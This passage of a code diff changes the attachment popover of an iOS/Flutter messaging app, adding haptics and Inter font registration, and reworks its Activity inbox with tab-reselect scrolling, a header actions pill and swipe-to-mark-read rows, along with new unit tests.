-          }
-          DispatchQueue.main.async(execute: reveal)
-        }
-      }
-    )
+    transition(to: .photos, content: container)
   }
 
   private func showCamera() {
@@ -353,7 +348,7 @@ final class NativeAttachmentPopoverViewController:
       title: nil,
       symbol: "chevron.left",
       accessibilityLabel: "Back to attachment options",
-      action: UIAction { [weak self] _ in self?.showMenu() }
+      action: { [weak self] in self?.showMenu() }
     )
     let captureButton = makeCameraCaptureButton()
     cameraCaptureButton = captureButton
@@ -415,7 +410,6 @@ final class NativeAttachmentPopoverViewController:
   private func transition(
     to nextSurface: Surface,
     content nextView: UIView,
-    preparation: ContentPreparation? = nil,
     completion: (() -> Void)? = nil
   ) {
     let previousView = visibleContentView
@@ -485,11 +479,7 @@ final class NativeAttachmentPopoverViewController:
         }
       }
 
-      if let preparation {
-        preparation(reveal)
-      } else {
-        reveal()
-      }
+      reveal()
     }
   }
 
@@ -498,7 +488,7 @@ final class NativeAttachmentPopoverViewController:
     symbol: String?,
     accessibilityLabel: String,
     prominent: Bool = false,
-    action: UIAction
+    action: @escaping () -> Void
   ) -> UIButton {
     var configuration =
       prominent
@@ -513,20 +503,37 @@ final class NativeAttachmentPopoverViewController:
     }
     configuration.imagePadding = 8
     configuration.baseForegroundColor = .white
+    configuration.titleTextAttributesTransformer =
+      UIConfigurationTextAttributesTransformer { attributes in
+        var interAttributes = attributes
+        interAttributes.font = NativeAttachmentMenuTypography.font(
+          forTextStyle: .body
+        )
+        return interAttributes
+      }
     configuration.contentInsets = NSDirectionalEdgeInsets(
       top: 11,
       leading: 15,
       bottom: 11,
       trailing: 15
     )
-    let button = UIButton(configuration: configuration, primaryAction: action)
+    let button = UIButton(
+      configuration: configuration,
+      primaryAction: UIAction { _ in
+        UISelectionFeedbackGenerator().selectionChanged()
+        action()
+      }
+    )
     button.accessibilityLabel = accessibilityLabel
     return button
   }
 
   private func makeCameraCaptureButton() -> UIButton {
     let button = UIButton(
-      primaryAction: UIAction { [weak self] _ in self?.capturePhoto() }
+      primaryAction: UIAction { [weak self] _ in
+        UISelectionFeedbackGenerator().selectionChanged()
+        self?.capturePhoto()
+      }
     )
     button.accessibilityLabel = "Take photo"
     button.translatesAutoresizingMaskIntoConstraints = false
diff --git a/mobile/ios/Runner/NativeAttachmentPopoverCoordinator.swift b/mobile/ios/Runner/NativeAttachmentPopoverCoordinator.swift
index 73559d7c2b..f59db1f84c 100644
--- a/mobile/ios/Runner/NativeAttachmentPopoverCoordinator.swift
+++ b/mobile/ios/Runner/NativeAttachmentPopoverCoordinator.swift
@@ -1,3 +1,4 @@
+import CoreText
 import Flutter
 import UIKit
 
@@ -276,7 +277,7 @@ enum NativeAttachmentMenuLayout {
   static func itemHeight(
     compatibleWith traitCollection: UITraitCollection
   ) -> CGFloat {
-    let labelHeight = UIFont.preferredFont(
+    let labelHeight = NativeAttachmentMenuTypography.font(
       forTextStyle: labelTextStyle,
       compatibleWith: traitCollection
     ).lineHeight
@@ -313,12 +314,71 @@ enum NativeAttachmentMenuLayout {
   }
 }
 
+enum NativeAttachmentMenuTypography {
+  static let interPostScriptName = "InterVariable"
+
+  private static let registeredInter: Bool = {
+    let fontURL = Bundle.main.bundleURL
+      .appendingPathComponent("Frameworks")
+      .appendingPathComponent("App.framework")
+      .appendingPathComponent("flutter_assets")
+      .appendingPathComponent("assets")
+      .appendingPathComponent("fonts")
+      .appendingPathComponent("InterVariable.ttf")
+    guard FileManager.default.fileExists(atPath: fontURL.path) else {
+      return false
+    }
+    return CTFontManagerRegisterFontsForURL(
+      fontURL as CFURL,
+      .process,
+      nil
+    )
+  }()
+
+  static func font(
+    forTextStyle textStyle: UIFont.TextStyle,
+    compatibleWith traitCollection: UITraitCollection? = nil
+  ) -> UIFont {
+    _ = registeredInter
+    let scaledPointSize = UIFontMetrics(forTextStyle: textStyle).scaledValue(
+      for: 20,
+      compatibleWith: traitCollection
+    )
+    let preferredFont = UIFont.preferredFont(
+      forTextStyle: textStyle,
+      compatibleWith: traitCollection
+    )
+    guard
+      let interFont = UIFont(
+        name: interPostScriptName,
+        size: scaledPointSize
+      )
+    else {
+      return preferredFont
+    }
+    return interFont
+  }
+}
+
+enum NativeAttachmentPopoverStyle {
+  static let cornerRadius: CGFloat = 20
+  static let shadowOpacity: Float = 0.18
+  static let shadowRadius: CGFloat = 12
+  static let shadowOffset = CGSize(width: 0, height: 6)
+  static let borderWidth: CGFloat = 1
+}
+
 func makeNativeAttachmentMenuButton(
   title: String,
   symbol: String,
-  action: UIAction
+  action: @escaping () -> Void
 ) -> UIButton {
-  let button = UIButton(primaryAction: action)
+  let button = UIButton(
+    primaryAction: UIAction { _ in
+      UISelectionFeedbackGenerator().selectionChanged()
+      action()
+    }
+  )
   button.accessibilityLabel = title
 
   let symbolConfiguration = UIImage.SymbolConfiguration(
@@ -338,7 +398,7 @@ func makeNativeAttachmentMenuButton(
   let titleLabel = UILabel()
   titleLabel.text = title
   titleLabel.textColor = .label
-  titleLabel.font = .preferredFont(
+  titleLabel.font = NativeAttachmentMenuTypography.font(
     forTextStyle: NativeAttachmentMenuLayout.labelTextStyle
   )
   titleLabel.adjustsFontForContentSizeCategory = true
diff --git a/mobile/ios/RunnerTests/RunnerTests.swift b/mobile/ios/RunnerTests/RunnerTests.swift
index c5333cfdf2..e1c2ce00f6 100644
--- a/mobile/ios/RunnerTests/RunnerTests.swift
+++ b/mobile/ios/RunnerTests/RunnerTests.swift
@@ -1,3 +1,4 @@
+import AVFoundation
 import Flutter
 import UIKit
 import XCTest
@@ -6,6 +7,48 @@ import XCTest
 
 class RunnerTests: XCTestCase {
 
+  func testRelativeTrackInsertionTimesPreserveAudioDelay() {
+    let times = AppDelegate.relativeTrackInsertionTimes(
+      videoStart: CMTime(seconds: 1, preferredTimescale: 600),
+      audioStart: CMTime(seconds: 1.5, preferredTimescale: 600)
+    )
+
+    XCTAssertEqual(CMTimeCompare(times.video, .zero), 0)
+    XCTAssertEqual(
+      CMTimeCompare(
+        times.audio ?? .invalid,
+        CMTime(seconds: 0.5, preferredTimescale: 600)
+      ),
+      0
+    )
+  }
+
+  func testRelativeTrackInsertionTimesPreserveVideoDelay() {
+    let times = AppDelegate.relativeTrackInsertionTimes(
+      videoStart: CMTime(seconds: 2, preferredTimescale: 600),
+      audioStart: CMTime(seconds: 1, preferredTimescale: 600)
+    )
+
+    XCTAssertEqual(
+      CMTimeCompare(
+        times.video,
+        CMTime(seconds: 1, preferredTimescale: 600)
+      ),
+      0
+    )
+    XCTAssertEqual(CMTimeCompare(times.audio ?? .invalid, .zero), 0)
+  }
+
+  func testRelativeTrackInsertionTimesZeroBasesVideoWithoutAudio() {
+    let times = AppDelegate.relativeTrackInsertionTimes(
+      videoStart: CMTime(seconds: 3, preferredTimescale: 600),
+      audioStart: nil
+    )
+
+    XCTAssertEqual(CMTimeCompare(times.video, .zero), 0)
+    XCTAssertNil(times.audio)
+  }
+
   @MainActor
   func testExpandedAttachmentSurfaceDismissesKeyboard() {
     let window = KeyboardDismissalSpyWindow()
@@ -127,19 +170,6 @@ class RunnerTests: XCTestCase {
     )
   }
 
-  func testEmbeddedPhotoPickerAppliesOneZoomInStepWithoutAnimation() {
-    var zoomInCalls = 0
-    var animationsWereEnabled = true
-
-    EmbeddedPhotoPickerLayout.applyPreferredScale {
-      zoomInCalls += 1
-      animationsWereEnabled = UIView.areAnimationsEnabled
-    }
-
-    XCTAssertEqual(zoomInCalls, 1)
-    XCTAssertFalse(animationsWereEnabled)
-  }
-
   func testNativeAttachmentMenuUsesRoomyRowsAndInsets() {
     let traits = UITraitCollection(preferredContentSizeCategory: .large)
     let size = NativeAttachmentMenuLayout.size(compatibleWith: traits)
@@ -155,6 +185,28 @@ class RunnerTests: XCTestCase {
     XCTAssertEqual(NativeAttachmentMenuLayout.labelTextStyle, .title3)
   }
 
+  func testNativeAttachmentMenuUsesInterAndSharedPopoverChrome() {
+    let font = NativeAttachmentMenuTypography.font(
+      forTextStyle: NativeAttachmentMenuLayout.labelTextStyle
+    )
+    var didSelect = false
+    let button = makeNativeAttachmentMenuButton(
+      title: "Photos",
+      symbol: "photo",
+      action: { didSelect = true }
+    )
+    let titleLabel = button.subviews.compactMap { $0 as? UILabel }.first
+
+    XCTAssertTrue(font.fontName.hasPrefix("Inter"))
+    XCTAssertTrue(titleLabel?.font.fontName.hasPrefix("Inter") == true)
+    XCTAssertEqual(NativeAttachmentPopoverStyle.cornerRadius, 20)
+    XCTAssertEqual(NativeAttachmentPopoverStyle.borderWidth, 1)
+    XCTAssertEqual(NativeAttachmentPopoverStyle.shadowOpacity, 0.18)
+
+    button.sendActions(for: .primaryActionTriggered)
+    XCTAssertTrue(didSelect)
+  }
+
   func testNativeAttachmentMenuGrowsAndScrollsForAccessibilityText() {
     let traits = UITraitCollection(
       preferredContentSizeCategory: .accessibilityExtraExtraExtraLarge
diff --git a/mobile/lib/app.dart b/mobile/lib/app.dart
index 0538215109..057594dfad 100644
--- a/mobile/lib/app.dart
+++ b/mobile/lib/app.dart
@@ -4,6 +4,9 @@ import 'package:flutter_hooks/flutter_hooks.dart';
 
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 
+import 'features/activity/activity_provider.dart';
+import 'features/activity/inbox_local_state_provider.dart';
+import 'features/activity/inbox_read_state.dart';
 import 'features/channels/unread_badge/unread_badge_provider.dart';
 import 'features/home/home_page.dart';
 import 'features/pairing/pairing_page.dart';
@@ -16,17 +19,44 @@ import 'shared/auth/auth.dart';
 import 'shared/deeplink/pending_deep_link_provider.dart';
 import 'shared/emoji/emoji_burst.dart';
 import 'shared/relay/relay.dart';
+import 'shared/read_state/read_state_provider.dart';
 import 'shared/theme/theme.dart';
 import 'shared/widgets/buzz_loading_indicator.dart';
 
+/// App-shell projection that joins Activity state for the Home navigation.
+///
+/// This belongs at the composition root because it deliberately aggregates
+/// Activity feature providers for a sibling navigation surface.
+final _unreadInboxItemCountProvider = Provider<int>((ref) {
+  final readState = ref.watch(readStateProvider);
+  if (!readState.isReady) return 0;
+
+  final localState = ref.watch(inboxLocalStateProvider);
+  final items = ref.watch(inboxItemsProvider);
+  return items
+      .where(
+        (item) => !isInboxItemDone(
+          item,
+          markerOf: readState.effectiveTimestamp,
+          localUnreadOverrides: localState.unreadIds,
+          localDoneSet: localState.doneIds,
+        ),
+      )
+      .length;
+});
+
 class App extends HookConsumerWidget {
   const App({super.key});
 
   @override
   Widget build(BuildContext context, WidgetRef ref) {
-    final themeMode = ref.watch(themeProvider);
-    final accentIndex = ref.watch(accentProvider);
-    final schemeName = ref.watch(schemeProvider);
+    final communityTheme = ref.watch(communityThemeProvider);
+    final themeMode = communityTheme.mode;
+    final accentIndex = effectiveAccentIndex(
+      communityTheme.theme,
+      communityTheme.accent,
+    );
+    final schemeName = communityTheme.theme;
     final authState = ref.watch(authProvider);
 
     final resolved = resolveSchemes(schemeName, themeMode);
@@ -50,11 +80,13 @@ class App extends HookConsumerWidget {
 
     // Eagerly initialize websocket session and lifecycle observer when
     // authenticated. These providers connect and manage the websocket.
+    var hasUnreadInbox = false;
     if (authState.value?.status == AuthStatus.authenticated) {
       ref.watch(relaySessionProvider);
       ref.watch(observerRelayProvider);
       ref.watch(appLifecycleProvider);
       ref.watch(userStatusCacheProvider);
+      hasUnreadInbox = ref.watch(_unreadInboxItemCountProvider) > 0;
     }
 
     // Start listening for buzz:// links immediately (even pre-auth) so a
@@ -99,8 +131,11 @@ class App extends HookConsumerWidget {
         loading: () => const _SplashScreen(),
         error: (_, _) => const PairingPage(),
         data: (state) => switch (state.status) {
-          AuthStatus.authenticated => const DeepLinkDispatcher(
-            child: HomePage(settingsPageBuilder: _buildSettingsPage),
+          AuthStatus.authenticated => DeepLinkDispatcher(
+            child: HomePage(
+              settingsPageBuilder: _buildSettingsPage,
+              hasUnreadInbox: hasUnreadInbox,
+            ),
           ),
           _ => const DeepLinkDispatcher(
             dispatchMessageLinks: false,
diff --git a/mobile/lib/features/activity/activity_page.dart b/mobile/lib/features/activity/activity_page.dart
index aecef6329c..51a0861b51 100644
--- a/mobile/lib/features/activity/activity_page.dart
+++ b/mobile/lib/features/activity/activity_page.dart
@@ -1,6 +1,8 @@
 import 'dart:async';
 
+import 'package:flutter/foundation.dart';
 import 'package:flutter/material.dart';
+import 'package:flutter/services.dart';
 import 'package:flutter_hooks/flutter_hooks.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 import 'package:lucide_icons_flutter/lucide_icons.dart';
@@ -16,13 +18,14 @@ import '../../shared/widgets/buzz_loading_indicator.dart';
 import '../../shared/widgets/frosted_app_bar.dart';
 import '../../shared/widgets/frosted_scaffold.dart';
 import '../../shared/widgets/message_author_meta.dart';
+import '../../shared/widgets/modal_presentation.dart';
 import '../channels/channel.dart';
 import '../channels/channel_detail_page.dart';
 import '../channels/channels_provider.dart';
 import '../channels/dm_channel_labels.dart';
 import '../channels/message_content.dart';
-import '../channels/read_state/read_state_format.dart';
-import '../channels/read_state/read_state_provider.dart';
+import '../../shared/read_state/read_state_format.dart';
+import '../../shared/read_state/read_state_provider.dart';
 import '../profile/user_cache_provider.dart';
 import '../profile/user_profile.dart';
 import 'activity_provider.dart';
@@ -37,6 +40,18 @@ part 'activity_page/inbox_row.dart';
 part 'activity_page/lists.dart';
 part 'activity_page/status_views.dart';
 
+EdgeInsets _activityScrollPadding(
+  BuildContext context, {
+  double horizontal = 0,
+  double top = Grid.xxs,
+  double bottom = Grid.xxs,
+}) => EdgeInsets.fromLTRB(
+  horizontal,
+  top,
+  horizontal,
+  MediaQuery.paddingOf(context).bottom + bottom,
+);
+
 /// Conversation-oriented Activity inbox.
 ///
 /// Matches desktop's Home inbox item design and semantics (see
@@ -46,7 +61,10 @@ part 'activity_page/status_views.dart';
 /// navigation. Row taps deep-link to the represented message (oldest unread
 /// for grouped conversations) rather than just opening the channel.
 class ActivityPage extends HookConsumerWidget {
-  const ActivityPage({super.key});
+  const ActivityPage({this.tabReselection, super.key});
+
+  /// Notifies this page when its already-selected tab is tapped again.
+  final ValueListenable<int>? tabReselection;
 
   @override
   Widget build(BuildContext context, WidgetRef ref) {
@@ -54,9 +72,41 @@ class ActivityPage extends HookConsumerWidget {
     final channelsAsync = ref.watch(channelsProvider);
     final filter = useState(InboxFilter.all);
     final unreadOnly = useState(false);
+    final scrollController = useScrollController();
+    final reducedMotion = MediaQuery.disableAnimationsOf(context);
+    useEffect(() {
+      final tabReselection = this.tabReselection;
+      if (tabReselection == null) return null;
+
+      void scrollToTop() {
+        if (!scrollController.hasClients) return;
+        final position = scrollController.position;
+        if (position.pixels <= position.minScrollExtent + 0.5) return;
+        if (reducedMotion) {
+          scrollController.jumpTo(position.minScrollExtent);
+          return;
+        }
+        unawaited(
+          scrollController.animateTo(
+            position.minScrollExtent,
+            duration: const Duration(milliseconds: 260),
+            curve: Curves.easeOutCubic,
+          ),
+        );
+      }
+
+      tabReselection.addListener(scrollToTop);
+      return () => tabReselection.removeListener(scrollToTop);
+    }, [tabReselection, scrollController, reducedMotion]);
     final headerTitleStyle = context.textTheme.titleMedium?.copyWith(
       fontSize: 22,
       fontWeight: FontWeight.w600,
+      color: navigationPrimaryForeground(context),
+    );
+    final topSectionHeight = frostedAppBarHeight(
+      context,
+      titleStyle: headerTitleStyle,
+      bottomHeight: Grid.xxs,
     );
 
     final readState = ref.watch(readStateProvider);
@@ -231,12 +281,18 @@ class ActivityPage extends HookConsumerWidget {
       ]);
     }
 
-    final Widget body;
+    late final Widget body;
+    var bodyRidesOverTopSection = false;
     if (filter.value == InboxFilter.reminders) {
-      body = _RemindersList(onOpen: openReminder, onRefresh: refresh);
+      body = _RemindersList(
+        scrollController: scrollController,
+        onOpen: openReminder,
+        onRefresh: refresh,
+      );
     } else if (filter.value == InboxFilter.drafts) {
       body = _DraftsList(
         drafts: drafts,
+        scrollController: scrollController,
         channelById: channelById,
         myPubkey: myPk,
         onOpen: openDraft,
@@ -246,7 +302,7 @@ class ActivityPage extends HookConsumerWidget {
     } else if (feedAsync.hasError && allItems.isEmpty) {
       body = _ErrorView(onRetry: refresh);
     } else if (!hasLoadedOnce.value && allItems.isEmpty) {
-      body = const _LoadingSkeleton();
+      body = _LoadingSkeleton(scrollController: scrollController);
     } else if (visibleItems.isEmpty) {
       body = _EmptyFilterState(
         filter: filter.value,
@@ -261,53 +317,73 @@ class ActivityPage extends HookConsumerWidget {
           ? firstReadIndex
           : -1;
 
+      bodyRidesOverTopSection = true;
       body = RefreshIndicator(
+        edgeOffset: topSectionHeight,
         onRefresh: refresh,
-        child: ListView.builder(
-          padding: const EdgeInsets.symmetric(vertical: Grid.xxs),
-          itemCount: visibleItems.length,
-          itemBuilder: (context, index) {
-            final item = visibleItems[index];
-            final channel = item.item.channelId != null
-                ? channelById[item.item.channelId]
-                : null;
-            return Column(
-              crossAxisAlignment: CrossAxisAlignment.stretch,
-              children: [
-                if (index == newBoundaryIndex) const _NewBoundaryDivider(),
-                _InboxRow(
-                  item: item,
-                  channel: channel,
-                  currentPubkey: myPk,
-                  isDone: isDone(item),
-                  onTap: () => openItem(item),
-                  onMarkRead: () => markItemRead(item),
-                  onMarkUnread: () => markItemUnread(item),
+        child: CustomScrollView(
+          controller: scrollController,
+          slivers: [
+            SliverToBoxAdapter(child: SizedBox(height: topSectionHeight)),
+            DecoratedSliver(
+              decoration: BoxDecoration(
+                color: context.colors.surface,
+                borderRadius: const BorderRadius.vertical(
+                  top: Radius.circular(Radii.dialog),
                 ),
-              ],
-            );
-          },
+              ),
+              sliver: SliverPadding(
+                padding: _activityScrollPadding(context),
+                sliver: SliverList.builder(
+                  itemCount: visibleItems.length,
+                  itemBuilder: (context, index) {
+                    final item = visibleItems[index];
+                    final channel = item.item.channelId != null
+                        ? channelById[item.item.channelId]
+                        : null;
+                    return Column(
+                      crossAxisAlignment: CrossAxisAlignment.stretch,
+                      children: [
+                        if (index == newBoundaryIndex)
+                          const _NewBoundaryDivider(),
+                        _InboxRow(
+                          key: ValueKey(item.id),
+                          item: item,
+                          channel: channel,
+                          currentPubkey: myPk,
+                          isDone: isDone(item),
+                          onTap: () => openItem(item),
+                          onMarkRead: () => markItemRead(item),
+                          onMarkUnread: () => markItemUnread(item),
+                        ),
+                      ],
+                    );
+                  },
+                ),
+              ),
+            ),
+          ],
         ),
       );
     }
 
     return FrostedScaffold(
-      backgroundColor: Colors.transparent,
+      backgroundColor: context.colors.surface,
       appBar: FrostedAppBar(
-        gradient: context.appColors.topSectionGradient,
         automaticallyImplyLeading: false,
-        title: const Text('Activity'),
+        horizontalInset: Grid.gutter,
+        showBottomDivider: true,
+        bottomDividerOpacity: 0.06,
+        title: Text('Activity', style: headerTitleStyle),
         titleStyle: headerTitleStyle,
         actions: [
-          _FilterMenuButton(
+          _ActivityActionsPill(
             filter: filter.value,
             dueReminderCount: dueReminderCount,
             draftCount: drafts.length,
-            onChanged: (f) => filter.value = f,
-          ),
-          _InboxOptionsButton(
             unreadOnly: unreadOnly.value,
             unreadCount: unreadVisibleCount,
+            onFilterChanged: (f) => filter.value = f,
             onUnreadOnlyChanged: (v) => unreadOnly.value = v,
             onMarkAllRead: () {
               for (final item in visibleItems) {
@@ -316,15 +392,19 @@ class ActivityPage extends HookConsumerWidget {
             },
           ),
         ],
+        bottomHeight: Grid.xxs,
+        bottom: const SizedBox.expand(),
       ),
       body: SafeArea(
+        key: const ValueKey('activity-content-safe-area'),
         top: false,
-        child: Padding(
-          padding: EdgeInsets.only(
-            top: frostedAppBarHeight(context, titleStyle: headerTitleStyle),
-          ),
-          child: body,
-        ),
+        bottom: false,
+        child: bodyRidesOverTopSection
+            ? body
+            : Padding(
+                padding: EdgeInsets.only(top: topSectionHeight),
+                child: body,
+              ),
       ),
     );
   }
diff --git a/mobile/lib/features/activity/activity_page/header_actions.dart b/mobile/lib/features/activity/activity_page/header_actions.dart
index 56592e2e69..08384b69e1 100644
--- a/mobile/lib/features/activity/activity_page/header_actions.dart
+++ b/mobile/lib/features/activity/activity_page/header_actions.dart
@@ -11,6 +11,59 @@ const _filterLabels = <InboxFilter, String>{
   InboxFilter.drafts: 'Drafts',
 };
 
+class _ActivityActionsPill extends StatelessWidget {
+  final InboxFilter filter;
+  final int dueReminderCount;
+  final int draftCount;
+  final bool unreadOnly;
+  final int unreadCount;
+  final ValueChanged<InboxFilter> onFilterChanged;
+  final ValueChanged<bool> onUnreadOnlyChanged;
+  final VoidCallback onMarkAllRead;
+
+  const _ActivityActionsPill({
+    required this.filter,
+    required this.dueReminderCount,
+    required this.draftCount,
+    required this.unreadOnly,
+    required this.unreadCount,
+    required this.onFilterChanged,
+    required this.onUnreadOnlyChanged,
+    required this.onMarkAllRead,
+  });
+
+  @override
+  Widget build(BuildContext context) => ClipRRect(
+    borderRadius: BorderRadius.circular(Radii.full),
+    child: DecoratedBox(
+      decoration: BoxDecoration(
+        color: context.colors.primaryContainer,
+        borderRadius: BorderRadius.circular(Radii.full),
+      ),
+      child: Padding(
+        padding: const EdgeInsets.symmetric(horizontal: Grid.quarter),
+        child: Row(
+          mainAxisSize: MainAxisSize.min,
+          children: [
+            _FilterMenuButton(
+              filter: filter,
+              dueReminderCount: dueReminderCount,
+              draftCount: draftCount,
+              onChanged: onFilterChanged,
+            ),
+            _InboxOptionsButton(
+              unreadOnly: unreadOnly,
+              unreadCount: unreadCount,
+              onUnreadOnlyChanged: onUnreadOnlyChanged,
+              onMarkAllRead: onMarkAllRead,
+            ),
+          ],
+        ),
+      ),
+    ),
+  );
+}
+
 /// Compact filter dropdown replacing the old chip rail — mirrors desktop's
 /// inbox filter menu (`FILTER_OPTIONS`).
 class _FilterMenuButton extends StatelessWidget {
@@ -39,15 +92,6 @@ class _FilterMenuButton extends StatelessWidget {
             alignment: AnchoredPopoverAlignment.start,
             offset: const Offset(0, Grid.half),
             menuPadding: const EdgeInsets.symmetric(vertical: Grid.half),
-            color: context.colors.surface.withValues(alpha: 0.98),
-            elevation: 8,
-            shadowColor: context.colors.shadow.withValues(alpha: 0.18),
-            shape: RoundedRectangleBorder(
-              borderRadius: BorderRadius.circular(Radii.card),
-              side: BorderSide(
-                color: context.colors.outlineVariant.withValues(alpha: 0.45),
-              ),
-            ),
             surfaceKey: const ValueKey('activity-filter-popover'),
             items: [
               for (final entry in _filterLabels.entries)
@@ -100,6 +144,7 @@ class _FilterMenuButton extends StatelessWidget {
                 Text(
                   _filterLabels[filter]!,
                   style: context.textTheme.labelLarge?.copyWith(
+                    color: navigationPrimaryForeground(context),
                     fontWeight: FontWeight.w600,
                   ),
                 ),
@@ -107,7 +152,7 @@ class _FilterMenuButton extends StatelessWidget {
                 Icon(
                   LucideIcons.chevronDown,
                   size: 16,
-                  color: context.colors.onSurfaceVariant,
+                  color: navigationPrimaryForeground(context),
                 ),
                 if (dueReminderCount > 0 || draftCount > 0) ...[
                   const SizedBox(width: Grid.quarter),
@@ -142,7 +187,7 @@ class _CountBadge extends StatelessWidget {
         vertical: Grid.quarter,
       ),
       decoration: BoxDecoration(
-        color: context.colors.primary,
+        color: navigationPrimaryForeground(context),
         borderRadius: BorderRadius.circular(Grid.xxs),
       ),
       child: Text(
@@ -177,19 +222,18 @@ class _InboxOptionsButton extends StatelessWidget {
       builder: (buttonContext) => IconButton(
         key: const ValueKey('activity-options-menu'),
         tooltip: 'Activity options',
+        color: navigationPrimaryForeground(context),
+        padding: const EdgeInsets.symmetric(horizontal: Grid.xxs),
+        constraints: const BoxConstraints.tightFor(
+          width: Grid.xl,
+          height: Grid.xl,
+        ),
         icon: const Icon(LucideIcons.ellipsis, size: 20),
         onPressed: () async {
           final selected = await showAnchoredPopover<String>(
             context: buttonContext,
             width: 216,
             alignment: AnchoredPopoverAlignment.end,
-            color: context.colors.surface,
-            elevation: 4,
-            shadowColor: context.colors.shadow.withValues(alpha: 0.18),
-            shape: RoundedRectangleBorder(
-              borderRadius: BorderRadius.circular(Radii.md),
-              side: BorderSide(color: context.colors.outline),
-            ),
             surfaceKey: const ValueKey('activity-options-popover'),
             items: [
               PopupMenuItem(
diff --git a/mobile/lib/features/activity/activity_page/inbox_row.dart b/mobile/lib/features/activity/activity_page/inbox_row.dart
index 9dd8b6ddfa..fe7869299d 100644
--- a/mobile/lib/features/activity/activity_page/inbox_row.dart
+++ b/mobile/lib/features/activity/activity_page/inbox_row.dart
@@ -1,5 +1,10 @@
 part of '../activity_page.dart';
 
+const _inboxSwipeActionInset = Grid.half;
+const _inboxSwipeActionLabelMinWidth = Grid.xxl;
+const _inboxSwipeLabelRevealWidth =
+    _inboxSwipeActionLabelMinWidth + (_inboxSwipeActionInset * 2);
+
 /// "New" boundary between unread and previously read rows.
 class _NewBoundaryDivider extends StatelessWidget {
   const _NewBoundaryDivider();
@@ -37,7 +42,10 @@ class _NewBoundaryDivider extends StatelessWidget {
 
 /// One conversation row, matching desktop's inbox item hierarchy:
 /// avatar | sender + unread dot + time | contextual label | preview.
-class _InboxRow extends ConsumerWidget {
+///
+/// Swiping left reveals the row's read-state action. Opening remains a tap or
+/// long-press action, so the swipe has one clear, easily recoverable outcome.
+class _InboxRow extends HookConsumerWidget {
   final InboxItem item;
   final Channel? channel;
   final String? currentPubkey;
@@ -47,6 +55,7 @@ class _InboxRow extends ConsumerWidget {
   final VoidCallback onMarkUnread;
 
   const _InboxRow({
+    super.key,
     required this.item,
     required this.channel,
     required this.currentPubkey,
@@ -58,6 +67,11 @@ class _InboxRow extends ConsumerWidget {
 
   @override
   Widget build(BuildContext context, WidgetRef ref) {
+    const restingRevealWidth = 132.0;
+    const commitThreshold = 0.58;
+    final revealAmount = useState(0.0);
+    final isDragging = useState(false);
+    final labelHapticFired = useRef(false);
     final userCache = ref.watch(userCacheProvider);
     final profile = userCache[item.item.pubkey.toLowerCase()];
     final senderLabel = profile?.displayName ?? shortPubkey(item.item.pubkey);
@@ -100,150 +114,337 @@ class _InboxRow extends ConsumerWidget {
         ? context.colors.tertiary
         : mutedColor;
 
-    return InkWell(
-      key: ValueKey('inbox-row-${item.id}'),
-      onTap: onTap,
-      onLongPress: () => _showRowActions(context),
-      child: Padding(
-        padding: const EdgeInsets.symmetric(
-          horizontal: Grid.gutter,
-          vertical: Grid.twelve,
-        ),
-        child: Row(
-          crossAxisAlignment: CrossAxisAlignment.start,
-          children: [
-            _RowAvatar(pubkey: item.item.pubkey, profile: profile),
-            const SizedBox(width: messageAvatarContentGap),
-            Expanded(
-              child: Column(
-                crossAxisAlignment: CrossAxisAlignment.start,
-                children: [
-                  // Sender + unread dot + timestamp.
-                  Row(
-                    children: [
-                      Expanded(
-                        child: MessageAuthorMeta(
-                          displayName: senderLabel,
-                          username: messageUsernameLabel(profile),
-                          timestamp: _inboxTimestamp(item.latestActivityAt),
-                          nameColor: context.colors.onSurface,
-                          metadataColor: mutedColor,
-                          nameStyle: activityUsernameTextStyle,
-                          metadataStyle: activityTimestampTextStyle,
-                          displayNameKey: ValueKey(
-                            'activity-author-${item.id}',
-                          ),
-                          usernameKey: ValueKey('activity-username-${item.id}'),
-                          timestampKey: ValueKey(
-                            'activity-timestamp-${item.id}',
-                          ),
-                        ),
-                      ),
-                      if (!isDone) ...[
-                        const SizedBox(width: Grid.xxs),
-                        Container(
-                          key: ValueKey('inbox-unread-dot-${item.id}'),
-                          width: 6,
-                          height: 6,
-                          decoration: BoxDecoration(
-                            shape: BoxShape.circle,
-                            color: context.colors.primary,
-                          ),
-                        ),
-                      ],
-                    ],
+    final reducedMotion = MediaQuery.of(context).disableAnimations;
+    final swipeDirection = Directionality.of(context) == TextDirection.ltr
+        ? 1.0
+        : -1.0;
+    void closeActions() => revealAmount.value = 0;
+    void toggleReadState() {
+      closeActions();
+      isDone ? onMarkUnread() : onMarkRead();
+    }
+
+    return LayoutBuilder(
+      builder: (context, constraints) {
+        final actionExtent = constraints.maxWidth;
+        final revealedWidth = revealAmount.value
+            .clamp(0, actionExtent)
+            .toDouble();
+        final actionColor = isDone
+            ? context.colors.primary
+            : context.appColors.success;
+        return ClipRect(
+          child: Stack(
+            children: [
+              if (revealedWidth > 0)
+                PositionedDirectional(
+                  top: 0,
+                  end: 0,
+                  bottom: 0,
+                  width: revealedWidth,
+                  child: Padding(
+                    key: ValueKey('inbox-swipe-background-${item.id}'),
+                    padding: const EdgeInsets.all(_inboxSwipeActionInset),
+                    child: _InboxSwipeAction(
+                      key: ValueKey('inbox-swipe-read-${item.id}'),
+                      color: actionColor,
+                      foregroundColor: contrastForeground(actionColor),
+                      icon: isDone ? LucideIcons.mail : LucideIcons.mailOpen,
+                      label: isDone ? 'Mark unread' : 'Mark as read',
+                      onTap: toggleReadState,
+                    ),
                   ),
-                  const SizedBox(height: Grid.quarter),
-                  // Contextual label: "Mentioned in #channel" etc.
-                  Row(
-                    children: [
-                      Flexible(
-                        child: Text(
-                          label.text,
-                          style: activityContextTextStyle.copyWith(
-                            color: labelColor,
-                          ),
-                          overflow: TextOverflow.ellipsis,
+                ),
+              AnimatedSlide(
+                offset: Offset(
+                  -swipeDirection * revealAmount.value / constraints.maxWidth,
+                  0,
+                ),
+                duration: reducedMotion || isDragging.value
+                    ? Duration.zero
+                    : const Duration(milliseconds: 160),
+                curve: Curves.easeOutCubic,
+                child: GestureDetector(
+                  behavior: HitTestBehavior.opaque,
+                  onHorizontalDragStart: (_) {
+                    isDragging.value = true;
+                    labelHapticFired.value = false;
+                  },
+                  onHorizontalDragUpdate: (details) {
+                    isDragging.value = true;
+                    final previous = revealAmount.value;
+                    final next =
+                        (previous - (details.delta.dx * swipeDirection))
+                            .clamp(0, actionExtent)
+                            .toDouble();
+                    if (!labelHapticFired.value &&
+                        previous < _inboxSwipeLabelRevealWidth &&
